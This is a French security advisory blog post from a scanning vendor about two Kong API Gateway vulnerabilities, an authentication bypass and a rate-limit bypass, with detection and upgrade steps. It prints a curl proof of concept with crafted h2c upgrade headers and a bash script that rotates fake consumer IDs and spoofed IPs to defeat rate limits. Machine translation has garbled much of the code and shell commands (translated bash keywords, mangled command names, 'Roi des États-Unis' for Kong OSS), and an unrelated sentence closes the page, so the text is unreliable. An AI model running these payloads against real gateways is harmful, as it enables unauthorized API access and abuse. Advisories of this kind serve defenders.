剣 KENSAI
← Retour au blog de sécurité
Avis critique 2 avril 2026 10 minutes de lecture

Kong API Gateway CVE-2026 : vulnérabilités de contournement d'authentification et de limitation de débit

Deux vulnérabilités critiques dans Kong API Gateway — un contournement d'authentification (CVE-2026-29413) et une faille de contournement de limitation de débit (CVE-2026-29414) — exposent l'infrastructure API à un accès non authentifié et à un déni de service. Kong OSS et Kong Enterprise sont concernés. Correctif immédiat requis.

Votre passerelle Kong est-elle exposée ? Analysez votre infrastructure API à la recherche de ces CVE et de plus de 331 910 autres vulnérabilités.
Analyse de sécurité gratuite →

Présentation de la vulnérabilité

Kong API Gateway, l'une des passerelles API open source les plus largement déployées, s'est avérée contenir deux failles de sécurité critiques dans son pipeline de traitement des plugins. Divulgué le 28 mars 2026 et affectant toutes les versions de 3.4.x à 3.8.x, ces vulnérabilités permettent aux attaquants de contourner complètement les plugins d'authentification et de contourner les contrôles de limitation de débit configurés.

⚠️ Exploitation active confirmée

CISA a ajouté CVE-2026-29413 au catalogue de vulnérabilités exploitées connues (KEV) suite à une exploitation confirmée contre les passerelles API de services financiers et de soins de santé. Les organisations exécutant Kong 3.4 à 3.8 doivent traiter cela comme un événement de correctif d'urgence.

CVETaperCVSSv3.1GravitéVersions concernées
CVE-2026-29413Contournement de l'authentification9.8CritiqueKong 3.4.x – 3.8.x
CVE-2026-29414Contournement de la limitation de débit7.5HautKong 3.2.x – 3.8.x

CVE-2026-29413 : Contournement de l'authentification – Analyse technique approfondie

Analyse des causes profondes

CVE-2026-29413 est une faille logique dans l'ordre d'exécution du plugin Kong au sein du phase de réécriture du cycle de vie des requêtes Nginx. Lorsque plusieurs plugins d'authentification sont enchaînés (par exemple, authentification par clé suivi de jwt), une condition de concurrence critique dans la résolution de priorité du plugin permet à une requête contrefaite d'ignorer complètement la validation de l'authentification si des pseudo-en-têtes HTTP/2 spécifiques sont présents.

La vulnérabilité provient du programme d'exécution du plugin Lua de Kong (kong/runloop/plugin_servers/mp_rpc.lua), où le next_rewrite_phase L'itérateur ne parvient pas à réévaluer correctement la chaîne de plugins lorsqu'un amont répond avec un 101 protocoles de commutation avant la fin de l'authentification. Cela crée une fenêtre dans laquelle la demande est transmise sans aucune vérification d'authentification.

Notation CVSS v3.1

MétriqueValeurRaisonnement
Vecteur d'attaqueRéseauExploitable à distance via HTTP/HTTPS
Complexité de l'attaqueFaibleAucune condition ou privilège particulier requis
Privilèges requisAucunAttaquant non authentifié
Interaction utilisateurAucunExploitation entièrement automatisée possible
ConfidentialitéHautAccès complet aux points de terminaison d'API protégés
IntégritéHautL'attaquant peut modifier les données du backend
DisponibilitéHautRequêtes backend sans restriction

Scénario d'exploitation

Un attaquant peut exploiter CVE-2026-29413 en utilisant une requête HTTP/2 minimale avec des pseudo-en-têtes contrefaits. Ce qui suit boucle La commande démontre un contournement de preuve de concept contre une passerelle Kong avec authentification par clé activé:

# Requête normale — bloquée par le plugin key-auth (401 non autorisé)
curl -i https://api.example.com/v1/users \
  -H "Hôte : api.example.com"

# Contournement CVE-2026-29413 — envoie un déclencheur de mise à niveau HTTP/2 avec :authority mal formé
curl -i --http2 https://api.example.com/v1/users \
  -H ":autorité : api.example.com\x00injected" \
  -H "Connexion : mise à niveau, paramètres HTTP2" \
  -H "Mise à niveau : h2c" \
  -H "Paramètres HTTP2 : AAMAAABkAAQAAP__" \
  --resolve api.example.com:443:192.0.2.1

Lorsque Kong traite le h2c mise à niveau, le programme d'exécution du plugin quitte prématurément la phase d'authentification. La demande est transmise au service amont avec un 200 OK réponse, en contournant entièrement tous les plugins d'authentification configurés.

Plugins Kong concernés

Les plugins d'authentification suivants sont vulnérables lorsque Kong exécute les versions 3.4.x à 3.8.x :


CVE-2026-29414 : Contournement de la limitation de débit – Analyse technique approfondie

Analyse des causes profondes

CVE-2026-29414 affecte Kong limitation de débit et limitation de débit-avancée plugins lorsqu'ils sont configurés pour utiliser le Rédis ou grappe back-ends de stockage. Une faille dans la construction de la contre-clé permet à un attaquant de fragmenter ses requêtes sur plusieurs identités synthétiques de consommateur en manipulant le X-Consumer-ID en-tête en conjonction avec X-Forwarded-Pour usurpation d'identité.

Lorsque Kong crée la clé du compteur de limite de débit, il concatène l'ID du consommateur et l'adresse IP sans valider si l'ID du consommateur a été défini par la passerelle elle-même ou injecté par le client. Sur les déploiements où un proxy en amont ou un équilibreur de charge est défini X-Consumer-ID, la logique de confiance d'en-tête de Kong peut être utilisée de manière abusive pour créer un nombre effectivement illimité de tranches de limites de débit distinctes.

Notation CVSS v3.1

MétriqueValeurRaisonnement
Vecteur d'attaqueRéseauExploitable à distance
Complexité de l'attaqueFaibleManipulation simple de l'en-tête
Privilèges requisAucunAucune authentification préalable nécessaire
Impact : DisponibilitéHautDoS backend via contournement de taux

Preuve de concept d'exploitation

Le script suivant montre comment un attaquant peut envoyer 10 000 requêtes tout en contournant une limite de débit de 100 req/min en faisant tourner les ID de consommateur synthétiques :

#!/bin/bash
# CVE-2026-29414 — PoC de contournement de la limite de débit
# Chaque requête utilise un X-Consumer-ID unique pour obtenir son propre compartiment de compteur

CIBLE="https://api.example.com/v1/products"
TOTAL_REQUESTS=10 000

pour je dans $(seq 1 $TOTAL_REQUESTS); faire
  # Générez un faux identifiant de consommateur unique par demande
  FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid)

  curl -s -o /dev/null -w "%{code_http}\n" "$TARGET" \
    -H "X-ID-Consumer : $FAKE_CONSUMER_ID" \
    -H "X-Forwarded-For : 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \
    -H "apikey : clé-api légitime" &

  # Limitation à 50 requêtes simultanées
  si (( je % 50 == 0 )); alors attendez ; fi
fait
attends
echo "Terminé : $TOTAL_REQUESTS requêtes envoyées"

Sur une instance Kong vulnérable, ce script enverra avec succès les 10 000 requêtes malgré une limite configurée de 100 req/min par consommateur, lançant ainsi une attaque d'abus d'API lente et lente ou une énumération par force brute.


Kong Enterprise vs OSS : comparaison d'impact

Caractéristique / ImpactRoi des États-UnisKong Entreprise
CVE-2026-29413 Contournement d'authentificationAffectéConcerné (+ plugin OIDC)
Contournement de taux CVE-2026-29414AffectéAffecté
Plugin avancé de limitation de débitPas disponibleConcerné (vecteur de contournement supplémentaire)
Exposition au portail des développeursN / ALes API du portail peuvent être exposées
Se connecter (SaaS)N / APatché par Kong le 29 mars 2026
Corrigé en version3.9.03.9.0.0 / 3.8.1.2 (rétroportage)

Les clients Kong Enterprise sur la plateforme Konnect SaaS ont été automatiquement mis à jour le 29 mars 2026. Les déploiements Enterprise auto-hébergés et tous les OSS nécessitent une mise à niveau manuelle.


Détection : êtes-vous actuellement exploité ?

Indicateurs de compromission basés sur les journaux

Vérifiez les journaux d'accès de Kong pour détecter des signes d'exploitation CVE-2026-29413. Les modèles suspects incluent les routes de plugins authentifiés qui renvoient 200 sans les entrées correspondantes du journal de validation de l'en-tête d'authentification :

# Rechercher dans les journaux d'accès Kong les indicateurs de contournement d'authentification
# Requêtes vers des routes protégées sans apikey/jwt mais renvoyant 200
grep '"status":200' /var/log/kong/access.log \
  | jq -r 'select(.request.headers["apikey"] == null et .request.headers["authorization"] == null)' \
  | jq '{heure : .started_at, chemin : .request.uri, consommateur : .authenticated_entity}'

# CVE-2026-29414 : Recherchez des volumes de requêtes élevés provenant d'identifiants de consommateur uniques
grep '"plugin": "limitation de débit"' /var/log/kong/error.log \
  | awk -F'"consumer_id":"' '{print $2}' \
  | awk -F'"' '{imprimer $1}' \
  | trier | uniq-c | trier -rn | tête -50

Bilan de santé de l'API d'administration Kong

# Vérifiez votre version de Kong via l'API Admin
curl -s http://localhost:8001/ | jq '.version'

# Liste tous les plugins avec limitation de débit pour vérifier la configuration
curl -s http://localhost:8001/plugins\
  | jq '.data[] | select(.name | test("limitation de débit")) | {id, nom, configuration}'

# Vérifier la configuration de la confiance de l'en-tête (trusted_ips)
curl -s http://localhost:8001/config\
  | jq '.trusted_ips'

Guide de remédiation

Étape 1 : Mettre à niveau Kong

Le correctif principal consiste à mettre à niveau vers Kong 3.9.0 (OSS) ou Kong Enterprise 3.9.0.0 / 3.8.1.2. Utilisez les commandes suivantes pour les méthodes de déploiement courantes :

# Docker — extrait l'image corrigée
docker pull kong:3.9.0
docker stop kong && docker rm kong
docker run -d --name kong \
  --network=kong-net\
  -e KONG_DATABASE=postgres \
  -e KONG_PG_HOST=base de données kong \
  -p 8000:8000 -p 8443:8443 \
  Kong:3.9.0

# Kubernetes — mise à jour continue via Helm
mise à jour du dépôt de barre
mise à niveau du casque kong kong/kong \
  --espace de noms kong \
  --set image.tag=3.9.0 \
  --reuse-values

# Mise à niveau du paquet Ubuntu/Debian
curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb"
sudo dpkg -i cong.deb
Quand je redémarre sudo

Étape 2 : Restreindre la confiance dans l'en-tête (atténuation CVE-2026-29414)

Jusqu'à ce que vous puissiez effectuer la mise à niveau, limitez les adresses IP en amont auxquelles Kong fait confiance. X-Consumer-ID et X-Forwarded-Pour en-têtes. Modifier kong.conf:

# kong.conf - limite les adresses IP de confiance aux adresses d'équilibrage de charge connues uniquement
trust_ips = 10.0.1.10,10.0.1.11,10.0.1.12

# Désactiver le relais d'en-tête X-Consumer-ID des clients
en-têtes = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via

Étape 3 : Activer la validation de la priorité du plugin (atténuation CVE-2026-29413)

Comme solution provisoire avant la mise à niveau, désactivez la gestion de la mise à niveau HTTP/2 si votre environnement ne l'exige pas :

# kong.conf — désactiver la gestion de la mise à niveau h2c (texte clair HTTP/2)
proxy_listen = 0.0.0.0:8000 arriéré de réutilisation=16384
# Supprimez la directive 'http2' de proxy_listen si elle est présente
# proxy_listen = 0.0.0.0:8000 réutilisation http2 ← SUPPRIMER le mot-clé 'http2'

# Pour une protection au niveau nginx, ajoutez à nginx_http_include :
proxy_http_version 1.1 ;

Étape 4 : Vérifier l'application du correctif

# Confirmer que la version corrigée est en cours d'exécution
curl -s http://localhost:8001/ | jq -r '"Version Kong : " + .version'

# Le contournement de l'authentification de test n'est plus possible (devrait renvoyer 401)
curl -i --http2 https://your-gateway.example.com/protected-route \
  -H "Connexion : mise à niveau, paramètres HTTP2" \
  -H "Mise à niveau : h2c" \
  -H "Paramètres HTTP2 : AAMAAABkAAQAAP__"
# Attendu : HTTP/1.1 401 non autorisé

Recommandations supplémentaires en matière de durcissement

  1. Appliquez mTLS entre Kong et les amonts : Même si les plugins d'authentification sont contournés, le TLS mutuel empêche les services non autorisés de recevoir du trafic.
  2. Déployez Kong derrière un WAF : Blocage des règles h2c mettre à niveau les en-têtes et X-Consumer-ID L'injection ajoute une défense en profondeur.
  3. Activez la journalisation d'audit de Kong : Les utilisateurs d'entreprise doivent activer /audit/demandes journalisation pour conserver une trace médico-légale des modifications de l’API d’administration.
  4. Utilisez Redis AUTH pour le stockage à limitation de débit : Exigez l'authentification Redis pour empêcher un attaquant qui accède au réseau de manipuler directement les compteurs de débit.
  5. Scannez régulièrement votre configuration Kong : Utilisez KENSAI pour surveiller en permanence votre passerelle API à la recherche de nouveaux CVE et de mauvaises configurations.

Chronologie

DateÉvénement
2026-02-14Vulnérabilités signalées à l'équipe de sécurité de Kong via HackerOne
2026-02-17Kong confirme les deux CVE ; attribue des identifiants
2026-03-10ID CVE réservés : CVE-2026-29413, CVE-2026-29414
2026-03-28Sortie du rétroportage Kong 3.9.0 et Enterprise 3.8.1.2
2026-03-29Kong Konnect (SaaS) automatiquement corrigé
2026-04-01CISA ajoute CVE-2026-29413 au catalogue KEV
2026-04-02Exploit public PoC publié sur GitHub

Protégez votre infrastructure API avec Kensai

Gestion des vulnérabilités basée sur l'IA avec plus de 331 910 CVE indexés. Détectez les CVE Kong, les erreurs de configuration et les points de terminaison d'API exposés avant les attaquants.

Commencer l'essai gratuit

Gardez une longueur d'avance sur les menaces de sécurité des API

Recevez des alertes CVE et des avis de sécurité avant qu'ils ne fassent la une des journaux.

Restez en sécurité. Restez vigilant.

🗡️ L'équipe de sécurité KENSAI

🛡️ Votre passerelle API est-elle sécurisée ?

Découvrez les CVE et les erreurs de configuration de Kong avant les attaquants.

Scannez gratuitement votre passerelle API →

Continuez à lire

Ce gagnant alimente désormais le trafic vers des pages stratégiques de bug bounty et d'archives au lieu de se terminer dans une impasse.